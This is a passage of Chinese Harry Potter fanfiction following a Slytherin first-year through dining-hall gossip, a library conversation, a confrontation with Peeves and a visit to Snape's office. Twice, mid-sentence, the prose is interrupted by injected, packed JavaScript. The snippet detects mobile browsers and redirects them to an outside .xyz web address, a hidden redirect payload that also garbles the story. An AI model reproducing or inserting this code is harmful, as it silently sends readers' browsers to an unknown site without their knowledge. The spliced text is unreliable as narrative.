西格纳斯挑眉,“我以为,这事发生在休息室?”当时除了下午没课的一年级,高年级斯莱特林应当都去上课了,安东尼奥又是从何得知的?——他可不相信丢了面子的纯血二人组,会主动将这个事情传扬出去。 “显然,”安东尼奥摊手,“你们忘了休息室里还有通向女生寝室的通道。” 西格纳斯了然,“哪一个?” “安娜·沃林顿。” 分院仪式上的最后一位新生。 “我都差点忘了还有这么一个人了。”洛塔尔嘟囔着,“感觉她比‘普普通通’先生还没存在感。” 埃里希表示同意,“毕竟她看上去,没有任何值得特意去记住的点。” 西格纳斯则是调侃安东尼奥:“你倒是比我们记得还要清楚。” “绅士当然不能忽视任何一位淑女。”安东尼奥一脸深沉,然后被哈伦提醒,“跑题了。” 安东尼奥耸耸肩,将话题拉回正轨:“这位沃林顿小姐找到了三年级的西奥菲勒斯·吉本(Theophilus Gibbon),表达了对于一年级纷争的担忧。” “随后,与吉本先生交好的四年级,埃德加·博尔顿(Edgar Bolton)也就得知了这事,然后将这件事当做谈资,告诉了他正在追求的、同年级的菲奥娜·斯莱德(Fiona Slade)小姐。 ” “而斯莱德小姐,一直十分向往时尚之都米兰。”安东尼奥得意地摊了摊手。 西格纳斯垂眸,这条信息传播链里,大部分名字都是自己尚未接触过的。 “据我所知,”安东尼奥咬了一口肉汁馅饼,“沃林顿小姐现在,已经成功受邀斯莱德小姐的周末下午茶会了。” “看来这位沃林顿小姐,比我们以为的有手腕啊!”洛塔尔感叹道,而埃里希则不客气地将之评价为“弱者的生存智慧”。 “斯莱特林可不是赫奇帕奇那种温馨甜蜜的地方。”显然,安东尼奥注意到了西格纳斯他们与赫奇帕奇长桌的互动,“在这里,弱者要么依附强者,要么就像我一样,沦为被欺负的小可怜。” 闻言,西格纳斯三人都忍不住面露讶异,“被欺负?你?” “我这种可怜的、外来的混血小巫师,当然会被纯血的‘高位者’们欺负啦!”安东尼奥做出一副无辜的表情,一把抱住坐在边上正在正常用餐的哈伦·特拉弗斯,“只有亲爱的哈伦,愿意陪伴孤零零的我。” “别听他胡说。”哈伦淡定地给了他一个肘击,把人顶开,“自从他在入学的第一个周末,用一把未开保险的手枪抵住他口中‘高位者’的额头后,就再也没人敢‘欺负’他了。” “枪?”西格纳斯挑眉——英国巫师界对麻瓜科技的认知,通常是浅薄而盲目的,他并不认为安东尼奥口中的“高位者”斯莱特林学生中,能有几个认识枪支,“他们认识?” “他们不认识‘枪’,但应该能感受到‘危险’。”埃里希拿起一杯南瓜汁,抿了一口——从表情上看,似乎意外地合口味。 西格纳斯闻言微微眯了下眼睛,“我还以为你们不会被教育这些。” “我们可是‘罗齐尔’。”洛塔尔微笑着回应。 真有趣——西格纳斯想着——就好像只有英国的巫师界最封闭一样。 “有意思的是,因为规则的空白,他甚至没受到任何处罚。”哈伦继续说着。 安东尼奥手上握着一把插着乳猪肋排的银叉,毫不在意地说着:“那又不是黑魔法物品,也没人跟我说过不可以带——我家人可从来不会觉得它危险。我没违反任何校规,怎么可以随意处罚我?”他用夸张的手势,强调着自己的无辜,“在学校里我甚至没拉开过它的保险!那就是个安全无害的小玩具!” 哈伦用一块面包堵住了安东尼奥的嘴,继续说:“所以邓布利多校长连夜召集校董事会,计划修改校规——可惜大部分校董并不明白、也不觉得那是什么‘危险物品’。”他无奈地笑了一下,“最后,只是在管理员费尔奇的‘禁止物品清单’里增加了‘麻瓜危险品’而已——虽然一般学生根本弄不到什么真正的‘麻瓜危险品’。” 安东尼奥把面包嚼了嚼,咽了下去,“连意大利魔法部都会支持我——如果他们不,我妈妈不介意去和他们谈一谈。” “所以校长先生给你父亲寄去了信。”哈伦毫不客气地戳穿了他。 西格纳斯眉峰一挑,他几乎可以想象那会是怎样的一封信: “亲爱的霍兰德先生: 关于您的儿子‘带了一把枪来到霍格沃兹,并将它抵在了一名同学头上’这件事,我迫切地希望与您见面详谈。” 恐怕这封信里的每一个关键词,对于出身赫奇帕奇的老父亲来说,都是一道重击——要是署名还是“阿不思·邓布利多”的话,那冲击恐怕就更大了。 安东尼奥萎靡了下去,“所以他们收走了我的□□小可爱的时候,而我甚至不能多说什么——爸爸红着眼眶盯着我呢!” 西格纳斯觉得,在经历了开学晚宴后,邓布利多终于在他心目中,重新建立起睿智的形象了。——在他堪称荒诞的行为之下,是对麻瓜科技的清晰认知,是对可能的国际纠纷的精妙应对,是对人情世故巧妙的利用。 真不愧是于1945年,打败了当世最强黑巫师格林德沃的人啊!——西格纳斯微笑着看着埃里希和洛塔尔,把兄弟俩看得莫名其妙。 大概是为了不再“遭受”西格纳斯意义不明的视线,埃里希主动继续了话题:“所以,最后这件事,就这么悄无声息地结束了?” “还能怎么办呢?”安东尼奥有些得意地说道,“我妈妈,可是西西里的女王。” 西格纳斯挑眉,“可以做到?” “我还以为,英国的魔法部会更有骨气一些呢!”洛塔尔发出一声嗤笑,“毕竟是‘公认的当代最伟大的巫师’阿不思·邓布利多所在的国家。” “那你可就想错了。”哈伦用餐巾擦了擦嘴角,讽刺地笑了一声,“他们的骨头,大多比鼻涕虫还要柔软。与他们比起来,格林迪洛都能称得上是铁骨铮铮。” “听说过马尔福家祖上,追求过伊丽莎白女王的传言吗?”他的语调有些尖锐,“只要权力或利益足够,‘纯血’与否对他们来说,就不再是什么重要的事情。” “停止。”安东尼奥突然伸出双手,捧过哈伦的面颊,将他的视线强行转向自己。两人四目相对,安东尼奥难得没有嬉皮笑脸,“话题到此为止,哈伦。” 哈伦定定地看了安东尼奥一会儿,然后闭上眼睛,缓缓地舒了一口气。他轻轻摆头,脱离了安东尼奥的桎梏,转头看向西格纳斯三人说道,“抱歉,想起了一些事。” 西格纳斯举起南瓜汁的杯子,示意不必在意。 甚至他觉得自己可以理解哈伦的情绪:今天下午的争执,若把自己的姓氏换成“马尔福”,塞尔温和罗尔绝不敢那样称呼自己——哪怕是身陷“食死徒疑云”,“马尔福”凭借其金钱和影响力,依旧是英国最著名、实际地位最高的纯血姓氏;而“普林斯”家族,主支已经没落许久,自己这个旁支,也不过刚刚恢复完整姓氏。 ——这就是权势的差距。 塞尔温和罗尔就算是再白痴,也是纯血家族教育出来的孩子——他们很清楚,自己可以羞辱谁,而谁是他们现在惹不起的人。 *** 晚餐后,安东尼奥就拉着哈伦不见了踪影,说是要带着他散散心。 西格纳斯则思索着自己接下来的计划。 “我们等下去那边看看。”埃里希说着,指了指斯莱特林长桌另一头的人群——包括塞尔温和罗尔,以及几个他们没接触过的、不知是三年级还是四年级的学生。不确定是否包括之前安东尼奥提到名字的人,但至少那位安娜·沃林顿小姐并不在。 西格纳斯挑眉,“有兴趣?” 罗齐尔兄弟齐齐点头,“很有趣。”洛塔尔跃跃欲试的表情,好像计划观察昆虫生长的麻瓜小学生,“我们那里,很少见到这么看重‘血统’的巫师。” 毕竟在欧洲大陆魔法界掀起滔天巨浪的盖勒特·格林德沃,本身就是混血巫师。 今天下午的争执,虽然与血统问题的关系并不大,但塞尔温和罗尔在走进休息室时,那声毫不掩饰的“泥巴种”,可是他们三人都听到的。 “我以为,德姆斯特朗不是号称‘不招生麻瓜出身的学生’吗?”西格纳斯反问道。 “因为麻瓜出身,很难适应那里的规则和氛围。”埃里希思索着,“最后的结果,不是他们自身信念崩溃,就是格格不入到最终被退学。那还不如从一开始就别召进来。” “你们让我对德姆斯特朗好奇起来了。” “我们不是也没去成吗?”洛塔尔叹了口气,“这都是听家里长辈们说的。” “说起来,”西格纳斯慢条斯理地说着,“那几个高年级,昨天可是对你们很热情呢!” 洛塔尔一脸了然,“因为是‘罗齐尔’嘛!”他无奈地叹了口气,“英国这一支本来发展得还不错,结果两年前出了事……我们就被扔过来接手烂摊子了。” “‘烂摊子’?还真是贪心呢,‘罗齐尔’的先生们。”西格纳斯说着。 埃里希勾了勾嘴角,“生存智慧而已,‘普林斯-埃弗瑞’的小少爷。” 三人两方互相摆出了假笑面具,然后又忍不住真的笑了起来。 西格纳斯最后哼笑一声,站起身来,“看戏的时候小心一点。”他斜睨着兄弟二人,“毕竟你们罗齐尔的代价,都已经是我的了。再被人发现端倪,可没人给你们付账。” *** 西格纳斯离开礼堂,打算利用这段时间,去完善一下上午斯内普教授留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163091|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔药课作业。因为下午发生的休息室争执的缘故,自己直接回了寝室——作业已经凭借自身的知识储备完成了一部分,但最好还是去图书馆查些资料,更完善一些才好。 也许是拜他精致的样貌和礼貌的行为所赐,一路遇见的画像都相当的温和亲切,其中一位画像女士尤其热心,几乎是一路领着他来到位于五层的图书馆的。 向那位热情的画像女士道谢后,西格纳斯走进了图书馆。 图书馆占据了城堡整个五层——高耸的拱顶架起庞大的空间,墙壁上镶嵌着彩绘的玻璃落地窗,一眼望不到边界的橡木书架群,组成了错综复杂仿佛迷宫一般的狭窄通道,成千上万本书籍被陈列其间。 目光锐利的管理员伊尔玛·平斯(Irma Pince)女士,通常被称呼为平斯夫人(Madam Pince),维护着整个图书馆的秩序。 书架前方有一片区域,摆放着许多套桌椅,不少学生正在埋头写着作业——西格纳斯甚至看到了正在折磨自己头发的弗利女士,目测她面前的羊皮纸不短于三英尺,难怪看上去有些烦躁;她身边的卡西乌斯,则在写作业之余,不厌其烦地解救了她的头发数次——看来,就算是一直淡定自若的弗利女士,也会为作业而头疼呢! 西格纳斯没打算去打扰奋战的前辈们,他四下看着,试图寻找一个合适的空位。 一位黑发带着圆眼镜的少年正坐在书桌前,他那明显到足以被当做面部特征识别的黑眼圈,让西格纳斯一眼就认出了他——分进拉文克劳的莱伊·拉德福德。 刚好,他身边还有空位。 “希望昨天的药水有帮到你。”西格纳斯坐下后,以低到不会引起平斯夫人反感的音量,与莱伊打招呼。 莱伊闻言抬头,看到西格纳斯后,瞬间眼睛一亮,“西格纳斯·普林斯-埃弗瑞。”他语调带着几分轻松地说,“你的药水很好用。” “那是我姑姑熬制的。”西格纳斯的话语里,带着几分不自知的炫耀,“药效比市面上的成药都好。” “真好!”莱伊小声感叹,“看来可以用一段时间了。” 西格纳斯听懂了他的言下之意,微微皱了皱眉,“就算只是普通的安眠药水,也不是可以长期使用的。”他说,“昨天那瓶,只能应急用一下。” “我知道……”莱伊眼神飘了一下,“我会注意的。” 西格纳斯嘴角勾起一个假笑的弧度,“我现在不太相信了。”他盯着莱伊的眼睛,“也许我现在要求收回药剂,还来得及——在没被追究药物滥用之前。” “我错了。”莱伊认错认得毫不迟疑。 “也许你可以解释一下。”西格纳斯瞥了一眼他面前的书籍:《只要有魔杖,就有办法(Where There''s a Wand, There''s a Way)》、《古怪的魔法难题及其解答(Weird Wizarding Dilemmas and Their Solutions)》……看上去似乎饱受困扰的样子,结合他的表现,西格纳斯推测:“失眠?” 莱伊看上去有些犹豫,应该是在内心思索了一番,最后开口:“因为一些记忆方面的原因,我很难入睡。”他叹了口气,解释道,“不是偶尔的那种,而是长期如此——每每躺在床上,脑海里就全是过往的各种记忆回放,根本睡不着。” “那样的话,也许你应该去圣芒戈。” “不,圣芒戈帮不了我们。”莱伊很干脆地拒绝了,“之前,都是由家里长辈们准备安眠药水,并且定期用遗忘咒帮我的。” “遗忘咒?‘一忘皆空(Obliviate)’?”西格纳斯有些意外,这个咒语可不是谁都可以随意使用的——那是需要魔法部特训许可的特殊咒语——“等等,遗忘咒?拉德福德?” 拉德福德(Radford)的确是英国的常见姓氏,但若是跟遗忘咒扯上关系,那就只能是指特定的那位“拉德福德”——“奈莫恩·拉德福德(Mnemone Radford)?” “嗯……是的。”莱伊点头,“不过我们已经隔的很远了,我差不多是……第13或者14代的后代了。” 遗忘咒发明人的后代,要依靠遗忘咒来保证睡眠,真是有些讽刺……等等,也许意外地合乎逻辑?毕竟,现在也没人知道那位奈莫恩·拉德福德女士,是否也饱受记忆过载导致的失眠困扰。 不过—— “遗忘咒和魔药一样,也不能经常使用。”西格纳斯有些好奇,“所以你平时都是怎么办的?” 莱伊露出一个看起来有些尴尬的笑容。 “嗯……我是跟麻瓜学到的方法。”他看起来有些不好意思,“我会学着麻瓜们的样子,凭自身力量奔跑、跳跃、举起重物,这样很快就会累到头脑一片空白,然后就可以睡了。” 闻言,西格纳斯笑容一僵,终于知道了为什么他一副快猝死的样子,体能却还那么好。 “一开始效果很好。”莱伊继续说着,“但后来就不行了,越来越难以达到那种程度了。” 西格纳斯嘴角都有些隐隐的抽搐——练了那么久,体力和耐力自然大幅度提升,疲劳阈值当然也会提高啊! “所以,”西格纳斯不想讨论体能问题,于是赶紧转移话题,指了指桌面上那些稀奇古怪的书籍,“你现在这是?” 莱伊拿起一本高年级的《标准咒语(The Standard Book of Spells)》课本,向西格纳斯展示自己的研究成果:“我觉得这个‘昏昏倒地(Stupefy)’不错,以后可以每天睡前来一下。” 西格纳斯忽然理解,卡斯托为什么会评价拉文克劳“有时候会天马行空到不可理喻的地步”了,缓了一下后才说:“听我的,你去医疗翼看看,或者找你们院长,还不行就去找邓布利多校长。”他叹了口气,“麻烦的事,让大人们去头疼吧!” 8.皮皮鬼 西格纳斯将自己入学后的第一个周末的时间,用来探索霍格沃兹城堡——毕竟这是在《霍格沃兹:一段校史》中明确记录有142座活动楼梯的“活着的城堡”,若是之后上课因为走错楼梯而迷路,最后导致迟到,就太可笑了。 不得不说,城堡内遍布的魔法画像真是帮了大忙——总有亲切友好的画像人物,乐意告诉他面前房间的用途。 西格纳斯在城堡的二层找到了变形课、黑魔法防御课和魔法史课程的教室。除了教室,二层还设有校医院——通称医疗翼,其管理者是波皮·庞弗雷(Poppy Pomfrey)女士。医疗翼内设备精良,可以处理校园内常见的绝大多数魔法伤病,而庞弗雷夫人据说医术精湛,且以高效严谨著称——西格纳斯记得,卡斯托对庞弗雷夫人的医疗水平赞叹不已。 三层目前没有安排教室,主要是教授们的办公室。西格纳斯听到其中一个房间内,传来一个人练习开场自我介绍的声音——也许那就是传说中“被诅咒的黑魔法防御课”的教授办公室吧! 魔咒课教室被设置在了四层,也是该层唯一一个在用的教室。穿过走廊的另一边,还有一个奖品陈列室,摆放着历年以来的学院杯和魁地奇杯等荣誉奖杯。 鉴于各门课程似乎都有不少的作业要求,位于城堡五层的图书馆——前一天他刚刚来过的地方——也许会成为日后,除了休息室和礼堂之外,自己造访频率最高的区域。 再加上已知的位于城堡外的课程——草药课教室在城堡外的温室中,飞行课同样要在城堡之外进行,天文课设置在天文塔——西格纳斯确认了一年级课程的所有教室位置。 西格纳斯并没能拜访更高的楼层——因为他在通往六层的楼梯上,被一群珍珠白色的半透明幽灵乱糟糟地围住了:“我们跟了你一路,你是在找教室吗?”“今天没有课程的。”“休息日,啊!美妙的休息日!”“探险!探险!” 西格纳斯只能无奈地做出回应,表示自己只是为了上课顺利而提前探路。 一个至少看上去情绪还算稳定、神态娇弱的女性幽灵飘到了他面前,“再往上,就没有教室了。”幽灵女士说着,“至少没有一年级会用到的教室了。”她穿着维多利亚新洛可可时期流行的晚礼服,宽大裙摆在空中旋转散开,好像一只散发着珍珠荧光的漂亮水母。 “上面有休息室!但你进不去!”“你要去拜访‘差点没头的尼克’吗?”“要去泡澡吗?这里有级长们的盥洗室。”…… 幽灵群中的一部分,话题说着说着就偏了出去,同时自身也飘进了墙壁,不知道去到了哪里。 西格纳斯在心中感慨了一下这些随心所欲的幽灵们,对着最先提醒自己的幽灵女士浅浅地倾身行礼致谢,“感谢您的提醒,”他露出一个看上去有些腼腆的笑容,“您真是一位好心的女士。” 说完,他再次颔首致意,转身走下了楼梯。身后传来了一阵属于幽灵们的窃窃私语,“哦,他可真有礼貌。”“可爱的小家伙,简直不像一个斯莱特林!”“你说得不对,斯莱特林应该是这个样子。”“斯莱特林……” 西格纳斯沿着楼梯走到了大概四层的位置时,发现刚刚还平安无事的楼梯间内,墙边挂着的画像此刻却都在避开走廊与楼梯间的联结处——走廊那边正传来金属撞击声、响亮而刺耳的奸笑声,以及学生们的底气不足的呵止声。 西格纳斯本打算无视这场骚乱,但一个不知道哪里来的面包从侧面袭来,他只能立刻闪身避过——感谢卡斯托哪怕面对自己的撒娇耍赖也没有放松过的家族训练,让他保有尚算敏捷的闪避反射。 “走开!皮皮鬼!”一个不知道是哪个学院的学生吼着,“你再这样,我们就要找教授来了!” “教授?教授!”皮皮鬼发出夸张的坏笑,“皮皮鬼才不怕教授!”他高喊着,更多的纸团、粉笔头被扔了出来,砸得走廊里的学生慌不择路,四散奔逃。 其中有一个学生跑进了楼梯间,冲向三楼的教授办公室,这也导致了皮皮鬼的无差别攻击,牵连到西格纳斯的身上——一瓶不知道从哪里弄来的墨水瓶,被砸在了西格纳斯的脚边——虽然他避开了飞来的墨水瓶,但瓶子摔碎后溅起的墨汁,却落在了校袍上。 西格纳斯随手抽出魔杖,冲着墨汁就是一个“清理一新”。 这引起了皮皮鬼的注意,他兴奋地尖声叫嚷着:“这里有人违规!他在走廊使用魔法!他违规!” 西格纳斯一脸淡定地将魔杖收回袖中,一边闪避着皮皮鬼的投掷物,一边高声回应,“真是令人惊讶——最知名的违规者竟然这么看重规则。”他嘴角勾出一个讽刺的弧度,“我之后一定要向巴罗阁下复述一下这个场景:看啊!皮皮鬼竟然在高呼校规!” 周围的学生都被西格纳斯主动挑衅皮皮鬼的行为惊呆了——有眼尖的人看到了他校袍上绣的名字,发现这还是一位新入学的斯莱特林时,更是讶异得瞪大了眼睛。 而被挑衅的皮皮鬼?他看上去快被气疯了——这个浮在空中的小矮人瞪大了那双黑色的眼睛,咧开的大嘴发出更为尖锐刺耳的叫声,震得走廊的玻璃都嗡嗡颤动。他在空中疯狂地旋转、抽搐,语无伦次地大骂着:“你这该死的家伙!卑鄙的混蛋!皮皮鬼要让你后悔!一定要让你后悔!” 皮皮鬼将目标集中在西格纳斯一人身上,开始更加疯狂地投掷袭击,甚至呼啸着掠过走廊的盔甲,将盔甲的武器都抽出来掷了出去。 西格纳斯竭尽全力地腾挪、闪避——为了方便躲闪,他从楼梯间移动到了更宽敞的走廊中——但最终仍不可避免地被划破了校袍,身上也再次被溅上了墨汁甚至泥水。 但这次,他没再用“清理一新”。 “你不是很得意吗?啊?嚣张的小鬼!”皮皮鬼看着逐渐狼狈的西格纳斯,得意地大叫,“你躲呀!你再躲呀!哈哈哈哈哈——!” “Protego(盔甲护身)!”一个清晰、洪亮的女声响起。皮皮鬼的所有攻击,立刻再也不能靠近西格纳斯。 “皮皮鬼!立刻停止!马上离开!”来人的语气冰冷却又暗含怒火,“否则我立刻去请血人巴罗先生。” 身形高挑,神情严肃的女巫出现在四楼走廊——正是副校长米勒娃·麦格教授。 也许是因为副校长的威严,但更有可能是再次被提起的血人巴罗的名字——鉴于副校长真的可以将他请来——起了作用,皮皮鬼终于停下了疯狂的投掷行为。盔甲的武器落在了地上,发出了响亮的声音。 “他违规!”皮皮鬼尖声告状,“是他先违规的!他在走廊用魔法!” 闻言,麦格教授将视线转向了站在走廊中央、满身狼狈的西格纳斯。 “是你。”麦格教授显然认出了西格纳斯——这个当初在分院等候室向自己致意、在分院后仍然先行礼的斯莱特林新生。 “因为校规要求我们保持校服整洁,所以最开始,我用了一个‘清理一新’。”西格纳斯顶着沾染着墨渍的面容,调整着有些急促的呼吸,坦然地承认了自己的行为,“我在家里这样做习惯了……我很抱歉,教授。” “他承认了!”皮皮鬼尖叫,“你看!他自己承认了!” “安静!”麦格教授冷冷地呵止了他,“你的恶作剧才是问题的根源。” 显然,在皮皮鬼明显是肇事者的情况下,一个新生使用“清理一新”的习惯性自救行为,并不算什么大事——“清理一新”是典型的、无害的、甚至可以说是“有益”的家务魔法;对比起来,还是皮皮鬼所挥舞的盔甲的武器,杀伤力更大。 麦格教授环顾走廊。 之前被皮皮鬼袭击的学生分散在走廊各处,身上除了一些粉笔痕迹和墨水印迹,没有更多损伤,与西格纳斯形成鲜明对比——校袍上被盔甲的武器划开的破损、身上被各种飞溅到的泥浆污渍,全都说明了皮皮鬼的针对性。 “离开,皮皮鬼!”看着狼藉的走廊,麦格教授再次发出命令。面对麦格教授仿佛冰冻咒一样的眼神,皮皮鬼只得悻悻然地离开,但飞走时,仍发出不甘的尖叫和诅咒。 “你有没有受伤?”麦格教授走到西格纳斯面前,为他施加了一个“清理一新”——墨渍、污泥都消失了,只剩下校袍上的破损尚未恢复。 “我没事,教授。”西格纳斯整理了一下自己的衣服,校袍内层穿着的、绣有防护符文的贴身内衣,很好地保护了他,“我是确认自己短时间不会真的受伤,才站出来的——我看到有人去找您了。” 麦格教授定定地看了看他,目光在他校袍的破损上停滞了片刻,最后表示,“我会和邓布利多校长说起这件事,他不会容忍这种过火的行为。” 接着,她用强力的“清理一新”和“恢复如初”将走廊恢复原状,又疏散了汇聚在这里的学生们;最后,为了防止皮皮鬼去而复返,亲自领着西格纳斯沿着楼梯回到了城堡一层。 当西格纳斯走到地窖石阶入口时,麦格教授稍显迟疑地说到,“你之后……应当对皮皮鬼多做防备。他很有可能,会在之后的一段时间里,持续找你麻烦。” “我知道的,麦格教授。”西格纳斯接纳了好意提醒,同时提出了自己的请求,“我想了解一下,我是否可以让家里寄几个护身符过来?当然,是绝对安全的那种。” 西格纳斯露出一个有点骄傲、又有点羞涩的笑容,“我有一位擅长古代如尼文的表姑姑,她曾想给我带上几枚护身符来学校——我之前觉得那太夸张了,就拒绝了。”他说着,“现在看来,护身符至少能用来防范一下皮皮鬼的袭击。” 麦格教授略思考了片刻,点了点头,“可以,但需要经过教授的审核。” “这是当然。”西格纳斯快速应到。 *** “……这么好的机会,我当然不能错过。”西格纳斯一个人呆在寝室中,抱着双面镜,向卡斯托讲述着自己今天的成果,“这次不光成了完美受害者,还顺便给护符过了明路!真是需要好好感谢一下皮皮鬼了!” “你要是真去谢他,只会把他气得更疯。”卡斯托微笑着说。 西格纳斯无所谓地在床上翻滚,“反正按照城堡的契约,皮皮鬼进不了寝室。上课时有教授在,图书馆和医疗翼这两个场所也涵盖在协议中的基本秩序当中。”他抱着双面镜坐起身,语气有些得意,“就连地窖,都因为血人巴罗常驻的原因,他不敢来——所以有风险的地方,只有走廊而已。” “西格纳斯。”卡斯托忽然叫了西格纳斯的名字而非昵称,“‘永远不应掉以轻心’和‘可以骄傲,但不可自大’,忘记了?” 西格纳斯愣了一瞬,然后忍不住咬了下嘴唇,“我错了……”他小声嗫嚅着,“我就是一时兴奋……” “你现在所知的一切信息,都是基于过去的记录——没人知道当他试图钻规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247361|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则的空子时,到底能做到哪一步。”卡斯托认真地说着,“寝室有创始人的魔法保护,当然是安全的——但你不可能一直呆在寝室里。” “我知道了。”西格纳斯乖巧地点头。 卡斯托显然也只是为了提醒,而非为了批评,于是马上更换了话题:“好了,我会尽快把护符给你寄过去,正好家里刚刚多了一批更好的材料。” “更好的材料?”西格纳斯思索了片刻,忽然灵光一闪,“难道是和赫布底里群岛保护区的事谈成了?” “那倒没有。”卡斯托苦笑一下,“还早着呢,只是暂时达成了非常初步的合作意向,后续还有的磨。” “那材料是?” “爸爸妈妈之前不是给你寄了龙鳞吗?”卡斯托说着,“麦克法斯蒂家跟我说了这件事,同意我购买一批。” 西格纳斯托腮,“所以,我收到的那些龙鳞,其实等于是卡索你买的。” 卡斯托面露无奈的笑容,点头。 “啊啊!”西格纳斯向后倒在床上,“果然不能指望他们靠谱一次。”他迟疑了一下,还是隐晦地问了一句,“那爸爸那边的?” “麦克法斯蒂家都说了。”卡斯托显然明白西格纳斯在说什么,“这种事,他们不可能瞒着我的。” 好吧!就知道会这样。——西格纳斯缓缓吐出一口气。 “所以,这次的护符以龙鳞做基底,效果应该会更好。”卡斯托继续说着,“我会请表姑姑多做几个基础护符——皮皮鬼奈何不了你,也许会对你身边的人下手。” 西格纳斯也注意到了这个问题,“替我谢谢表姑姑。”然后,他忍不住笑了起来,“不过,给其他人准备的不用着急,让表姑姑慢慢弄就好——最近他们热衷于‘生态观察’,恐怕不会跟我走在一起。” 双面镜里的卡斯托闻言,挑了挑眉。 “在护符送到前的这几天,你稍微多注意一些。”卡斯托的话题再次转向弟弟的安全,“现在皮皮鬼估计正憋着气,想报复你呢!” 西格纳斯享受着哥哥的关心,介绍自己这边的准备情况,“麦格教授说,她会请邓布利多校长对皮皮鬼多加约束。我这两天也会注意安全的。” “关于这件事,最好和斯内普教授也说清楚。”卡斯托说着,“毕竟他才是斯莱特林的院长。” 西格纳斯闻言有些犹豫——魔药课上斯内普教授的微妙态度,实在令他不得不在意。 “西格尼?”卡斯托敏锐地察觉到西格纳斯的迟疑,“发生什么事了?” “啊!没什么。”西格纳斯笑了一下,“就是斯内普教授的脾气有些……我怕他骂我。”——西格纳斯觉得,既然事发当天自己都没有告诉卡斯托,自然不应该现在又告状。 卡斯托看着西格纳斯沉默了半晌,最后开口道:“他的脾气一直这样,但他的天赋毋庸置疑。”他说起自己当年在校期间的事情,“我跟你说过,他的魔药天赋非常惊人,令他以一个混血的身份,在当时的斯莱特林站稳了脚跟。”他叹了口气,“但其实他在魔咒,或者说黑魔法上的天赋……这么说吧!当时格兰芬多和斯莱特林争斗时常使用的恶咒,有不少都是他发明出来的。” “哇!”西格纳斯眼睛发亮,这后半段内容,卡斯托以前可没说过。 “据说当初他最渴望的职位,是黑魔法防御课教授。”卡斯托意味深长的最后陈词。 西格纳斯轻笑,“幸好他不是。”他说着,“要不然,等不到我入学,他就会离开霍格沃兹了。”关于黑魔法防御课的诅咒,他记得可清楚了,“说起来,不知道今年这位新教授,能不能战胜诅咒呢?” “那就只能祈愿梅林保佑他了。”卡斯托无所谓地说着。 “对了,卡索。”西格纳斯忽然又想起来,“你说,如果我带着龙鳞去见斯内普教授……他应该不会把我赶出办公室吧?”他的语气逐渐坚定,“没有魔药大师能拒绝稀有的原材料——肯定没有!” 卡斯托轻笑出声,“你可以试一试。” *** 当罗齐尔兄弟回到寝室时,就看见西格纳斯将龙鳞从储物柜里取了出来。 “怎么把这个取出来了?”埃里希看着那个包裹,忍不住问道。 西格纳斯也不隐瞒,“用来敲开院长办公室的大门。” “为了皮皮鬼的事?”洛塔尔探头。 西格纳斯挑眉,“消息传得这么快吗?” “这是塞尔温和罗尔的功劳,”洛塔尔坐在西格纳斯床位旁边的空床上,笑着说,“他俩知道你和皮皮鬼对上了以后,恨不得马上传遍整个斯莱特林。” 西格纳斯闻言,忍不住冷笑了一声。 “他们以为所有人都会跟他们一样,谴责你的鲁莽。”埃里希说着,“但是他们没想到,有些高年级认为你这招不错。” “哈。”西格纳斯轻笑一声。 无论其他人如何解读,西格纳斯在这件事中的表现,几乎是无可指摘的。 他将龙鳞重新打包,放在床上,“所以,你们的观察记录,怎么样了?” 埃里希思索了片刻,似乎是在组织语言:“英国魔法界的封闭,造成了一种很极端的环境,也就塑造了很独特的生态。” “跟他们相比,你就像一个异类。”洛塔尔趴在床上,看向西格纳斯。 西格纳斯闻言,冲着他们露出一个甜蜜的笑容。 9.应对 西格纳斯提着纸盒离开休息室时,阳光正将黑湖穿透,湖景落地窗外是能给地窖都带来些许温暖感的金绿色。 从休息室到魔药课教室,要走过如迷宫一般阴暗曲折的走廊,而斯莱特林院长的办公室,正在魔药课教室旁边。 西格纳斯站在斯内普办公室入口前,深吸了一口气。 不得不承认,虽然魔药课上自己的应对尚算得体,但斯内普教授本身的强烈压迫感和超纲问题带来的压力,的确让自己产生了些许逃避心理。 不过,事到如今,该面对的还是要面对。 他抬手敲响了办公室的门,“教授,请问我可以进来吗?” 片刻后,办公室的大门打开了。 一股浓烈而复杂的气味扑面而来,混合着植物材料的香气、生物性材料的腥气、多种魔药熬制后残留的复杂气息、羊皮纸和墨水的混合气味、地窖阴湿的石头和青苔味、灰尘的味道…… 西格纳斯推开房门—— 阴暗的房间内,高大的木制储藏柜贴着墙壁排列着,上面摆放着数以百计的玻璃罐,里面承装、浸泡着五花八门的魔药原料:各种颜色的粉末、闪亮的晶体、晒干的草药、各种生物部位……这些罐子在昏暗的环境中散发着幽光,看得西格纳斯眼睛发亮——这个房间与自家的魔药库有些类似,让他有种莫名的亲切感。 一张大而笨重的木制书桌摆放在房屋的最中间,上面堆放着书籍、羊皮纸、墨水瓶。一张高背椅摆在桌后,斯内普教授正坐在那里,手握羽毛笔,好像正在批改学生的作业。 房间内还有个壁炉,但现在并没有点燃。 西格纳斯走进房间,将房门掩好。斯内普教授并没有看向他,用羽毛笔在羊皮纸作业上写了个大大的“D(很差)”,就将那张作业扔到的一边,然后拿起了另外一张。 看着这样的场景,西格纳斯感到了些许压力。他咽了口口水,低声开口:“教授……” 斯内普在这张作业上批了又一个“D”,再次扔到了一旁。 